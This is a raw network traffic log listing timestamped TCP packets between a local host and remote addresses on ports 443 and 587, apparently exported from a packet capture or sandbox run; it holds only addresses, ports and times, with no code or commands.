Jan 15, 2025 03:37:12.266933918 CET	49829	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:12.266966105 CET	443	49829	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:12.267095089 CET	49809	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:12.267095089 CET	49809	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:12.267105103 CET	443	49809	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:12.267127991 CET	49829	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:12.267148018 CET	49809	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:12.267755032 CET	49829	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:12.267775059 CET	443	49829	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:12.269887924 CET	49830	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:12.269897938 CET	443	49830	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:12.269958973 CET	49830	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:12.270282030 CET	49830	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:12.270292997 CET	443	49830	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:12.277371883 CET	49818	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:12.277401924 CET	443	49818	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:12.319715977 CET	443	49819	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:12.319940090 CET	49819	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:12.319958925 CET	443	49819	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:12.323165894 CET	443	49819	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:12.323234081 CET	49819	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:12.323754072 CET	49819	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:12.323766947 CET	49819	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:12.323775053 CET	443	49819	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:12.323837996 CET	443	49817	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:12.323843002 CET	443	49819	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:12.324104071 CET	49817	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:12.324112892 CET	443	49817	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:12.325305939 CET	443	49817	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:12.325826883 CET	49817	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:12.326025009 CET	443	49817	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:12.326033115 CET	49817	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:12.326680899 CET	443	49820	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:12.326847076 CET	49820	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:12.326869011 CET	443	49820	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:12.327188969 CET	443	49820	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:12.327550888 CET	49820	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:12.327613115 CET	443	49820	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:12.327639103 CET	49820	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:12.327838898 CET	443	49821	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:12.328052044 CET	49821	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:12.328089952 CET	443	49821	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:12.331593990 CET	443	49821	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:12.331669092 CET	49821	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:12.331957102 CET	49821	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:12.332020998 CET	443	49821	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:12.332058907 CET	49821	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:12.367331982 CET	443	49817	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:12.370429039 CET	49817	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:12.370429039 CET	49819	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:12.370429993 CET	49820	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:12.370445013 CET	443	49819	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:12.370454073 CET	443	49820	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:12.375335932 CET	443	49821	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:12.385787010 CET	49821	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:12.385845900 CET	443	49821	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:12.416572094 CET	49819	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:12.432583094 CET	49821	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:12.456728935 CET	443	49818	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:12.456779003 CET	443	49818	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:12.456954956 CET	49818	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:12.456964970 CET	443	49818	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:12.457056046 CET	49818	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:12.457597017 CET	49818	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:12.457634926 CET	443	49818	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:12.457953930 CET	49831	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:12.458039045 CET	443	49831	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:12.458147049 CET	49831	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:12.458391905 CET	49831	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:12.458429098 CET	443	49831	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:12.500816107 CET	49832	443	192.168.2.4	38.54.26.75
Jan 15, 2025 03:37:12.500894070 CET	443	49832	38.54.26.75	192.168.2.4
Jan 15, 2025 03:37:12.500994921 CET	49832	443	192.168.2.4	38.54.26.75
Jan 15, 2025 03:37:12.501188040 CET	49832	443	192.168.2.4	38.54.26.75
Jan 15, 2025 03:37:12.501220942 CET	443	49832	38.54.26.75	192.168.2.4
Jan 15, 2025 03:37:12.539257050 CET	443	49819	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:12.539304018 CET	443	49819	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:12.539453030 CET	443	49819	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:12.539500952 CET	443	49819	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:12.539506912 CET	49819	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:12.539506912 CET	49819	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:12.539568901 CET	49819	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:12.540029049 CET	49819	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:12.540046930 CET	443	49819	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:12.540344000 CET	49833	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:12.540366888 CET	443	49833	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:12.540544987 CET	49833	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:12.541060925 CET	49833	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:12.541074991 CET	443	49833	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:12.548063040 CET	443	49821	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:12.548120975 CET	443	49821	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:12.548141003 CET	443	49821	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:12.548178911 CET	49821	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:12.548202991 CET	443	49821	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:12.548226118 CET	49821	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:12.548316956 CET	49821	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:12.548327923 CET	443	49821	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:12.548403978 CET	443	49821	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:12.548456907 CET	49821	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:12.549098969 CET	49821	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:12.549129009 CET	443	49821	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:12.549366951 CET	49834	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:12.549407005 CET	443	49834	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:12.549554110 CET	49834	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:12.550096989 CET	49834	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:12.550113916 CET	443	49834	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:12.612474918 CET	443	49817	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:12.612535954 CET	443	49817	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:12.612556934 CET	443	49817	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:12.612595081 CET	443	49817	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:12.612637997 CET	443	49817	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:12.612782001 CET	49817	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:12.612782001 CET	49817	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:12.612782001 CET	49817	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:12.612795115 CET	443	49817	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:12.612890959 CET	49817	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:12.614900112 CET	443	49820	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:12.614917994 CET	443	49820	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:12.614927053 CET	443	49820	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:12.614981890 CET	49820	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:12.615006924 CET	443	49820	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:12.615067959 CET	49820	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:12.634140968 CET	443	49817	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:12.634186029 CET	443	49817	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:12.634285927 CET	49817	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:12.634285927 CET	49817	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:12.634305000 CET	443	49817	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:12.634380102 CET	49817	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:12.634403944 CET	443	49817	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:12.634483099 CET	49817	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:12.634618998 CET	49817	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:12.634628057 CET	443	49817	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:12.641468048 CET	443	49820	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:12.641519070 CET	443	49820	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:12.641539097 CET	49820	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:12.641562939 CET	49820	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:12.641779900 CET	49820	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:12.641804934 CET	443	49820	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:12.648401022 CET	49836	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:12.648437023 CET	443	49836	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:12.648471117 CET	49835	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:12.648489952 CET	443	49835	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:12.648523092 CET	49836	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:12.648700953 CET	49836	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:12.648718119 CET	443	49836	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:12.648794889 CET	49835	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:12.648854971 CET	49835	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:12.648861885 CET	443	49835	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:12.735203028 CET	443	49825	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:12.735497952 CET	49825	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:12.735508919 CET	443	49825	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:12.735594034 CET	587	49816	103.211.239.66	192.168.2.4
Jan 15, 2025 03:37:12.735970020 CET	443	49825	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:12.736368895 CET	49816	587	192.168.2.4	103.211.239.66
Jan 15, 2025 03:37:12.736454010 CET	49825	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:12.736548901 CET	443	49825	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:12.736557961 CET	49825	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:12.740232944 CET	443	49824	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:12.740535975 CET	49824	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:12.740598917 CET	443	49824	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:12.741291046 CET	587	49816	103.211.239.66	192.168.2.4
Jan 15, 2025 03:37:12.741755009 CET	443	49824	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:12.742032051 CET	49824	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:12.742125034 CET	49824	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:12.742140055 CET	443	49824	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:12.742216110 CET	443	49824	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:12.752312899 CET	443	49826	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:12.753704071 CET	49826	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:12.753767014 CET	443	49826	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:12.754271984 CET	443	49826	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:12.754528046 CET	49826	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:12.754618883 CET	443	49826	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:12.754640102 CET	49826	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:12.765362978 CET	443	49827	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:12.765655994 CET	49827	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:12.765667915 CET	443	49827	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:12.765980005 CET	443	49827	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:12.766304970 CET	49827	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:12.766355991 CET	443	49827	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:12.766416073 CET	49827	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:12.779324055 CET	443	49825	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:12.781421900 CET	49825	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:12.789894104 CET	443	49828	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:12.789931059 CET	49824	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:12.795347929 CET	443	49826	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:12.806062937 CET	49826	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:12.807404041 CET	443	49827	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:12.814018965 CET	49828	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:12.814070940 CET	443	49828	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:12.817730904 CET	443	49828	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:12.817820072 CET	49828	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:12.818120003 CET	49828	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:12.818265915 CET	49828	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:12.818279028 CET	443	49828	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:12.818305016 CET	443	49828	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:12.852854967 CET	443	49830	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:12.852901936 CET	443	49829	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:12.853037119 CET	49830	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:12.853055954 CET	443	49830	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:12.853152990 CET	49829	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:12.853212118 CET	443	49829	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:12.854604959 CET	443	49830	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:12.854674101 CET	49830	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:12.854926109 CET	49830	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:12.855012894 CET	443	49830	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:12.855029106 CET	49830	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:12.857234955 CET	443	49829	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:12.857321024 CET	49829	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:12.857779980 CET	49829	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:12.857937098 CET	49829	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:12.857950926 CET	443	49829	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:12.857985973 CET	443	49829	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:12.872529984 CET	49828	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:12.872538090 CET	443	49828	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:12.895365000 CET	443	49830	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:12.904791117 CET	49830	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:12.904805899 CET	443	49830	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:12.904855013 CET	49829	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:12.904913902 CET	443	49829	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:12.920358896 CET	49828	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:12.951839924 CET	49830	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:12.951936007 CET	49829	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:12.956597090 CET	443	49825	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:12.956654072 CET	443	49825	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:12.956804037 CET	443	49825	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:12.956837893 CET	49825	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:12.959481001 CET	49825	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:12.988929033 CET	443	49827	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:12.988995075 CET	443	49827	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:12.989031076 CET	443	49827	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:12.989062071 CET	49827	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:12.989075899 CET	443	49827	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:12.989105940 CET	49827	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:12.994652033 CET	443	49827	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:12.994787931 CET	49827	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:13.023416042 CET	443	49824	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:13.023469925 CET	443	49824	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:13.023504972 CET	443	49824	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:13.023544073 CET	443	49824	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:13.023582935 CET	443	49824	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:13.023689985 CET	49824	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:13.023690939 CET	49824	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:13.023690939 CET	49824	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:13.023760080 CET	443	49824	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:13.027358055 CET	49824	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:13.037709951 CET	443	49831	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:13.038024902 CET	49831	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:13.038091898 CET	443	49831	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:13.038592100 CET	443	49831	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:13.040008068 CET	443	49826	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:13.040081024 CET	443	49826	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:13.040102005 CET	443	49826	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:13.040143967 CET	443	49826	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:13.040162086 CET	443	49826	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:13.040179014 CET	443	49826	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:13.040184975 CET	49826	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:13.040246010 CET	49826	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:13.040246010 CET	49826	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:13.040277958 CET	443	49826	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:13.040388107 CET	49826	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:13.045350075 CET	49831	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:13.045445919 CET	443	49831	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:13.046884060 CET	49831	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:13.048656940 CET	443	49824	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:13.048702002 CET	443	49824	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:13.048758030 CET	49824	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:13.048774004 CET	443	49824	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:13.048821926 CET	49824	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:13.051089048 CET	49824	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:13.062097073 CET	443	49826	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:13.062220097 CET	49826	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:13.062247038 CET	443	49826	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:13.062288046 CET	443	49826	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:13.066715956 CET	49826	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:13.067289114 CET	587	49816	103.211.239.66	192.168.2.4
Jan 15, 2025 03:37:13.067564964 CET	443	49824	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:13.067704916 CET	443	49824	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:13.067859888 CET	49824	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:13.068805933 CET	49824	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:13.068805933 CET	49816	587	192.168.2.4	103.211.239.66
Jan 15, 2025 03:37:13.073575974 CET	443	49829	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:13.073657036 CET	587	49816	103.211.239.66	192.168.2.4
Jan 15, 2025 03:37:13.073740005 CET	443	49829	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:13.074012995 CET	443	49830	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:13.074024916 CET	49829	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:13.074186087 CET	443	49830	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:13.074353933 CET	49830	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:13.078651905 CET	443	49828	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:13.078697920 CET	443	49828	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:13.078716993 CET	443	49828	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:13.078735113 CET	443	49828	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:13.078763962 CET	49828	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:13.078773022 CET	443	49828	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:13.078792095 CET	443	49828	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:13.078802109 CET	49828	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:13.078829050 CET	443	49828	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:13.078862906 CET	49828	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:13.078862906 CET	49828	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:13.080662012 CET	49828	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:13.087409019 CET	443	49831	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:13.092437029 CET	49831	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:13.102889061 CET	443	49828	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:13.102910042 CET	443	49828	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:13.102988005 CET	49828	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:13.103019953 CET	443	49828	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:13.103080988 CET	49828	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:13.132785082 CET	443	49833	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:13.133184910 CET	49833	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:13.133198977 CET	443	49833	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:13.133672953 CET	443	49833	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:13.134896040 CET	49833	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:13.134896040 CET	49833	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:13.134913921 CET	443	49833	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:13.134974003 CET	443	49833	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:13.157813072 CET	443	49834	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:13.167646885 CET	49834	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:13.167687893 CET	443	49834	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:13.171376944 CET	443	49834	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:13.171490908 CET	49834	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:13.172045946 CET	49834	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:13.172045946 CET	49834	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:13.172085047 CET	443	49834	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:13.172228098 CET	443	49834	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:13.178380966 CET	49833	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:13.193245888 CET	49830	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:13.193275928 CET	443	49830	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:13.195528030 CET	49829	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:13.195590973 CET	443	49829	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:13.196166992 CET	49825	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:13.196191072 CET	443	49825	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:13.197520971 CET	49827	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:13.197530985 CET	443	49827	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:13.198827982 CET	49838	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:13.198854923 CET	443	49838	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:13.199397087 CET	49838	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:13.199553967 CET	49838	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:13.199567080 CET	443	49838	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:13.200139046 CET	49839	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:13.200196028 CET	443	49839	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:13.201025009 CET	49839	443	192.168.2.4	45.63.57.89
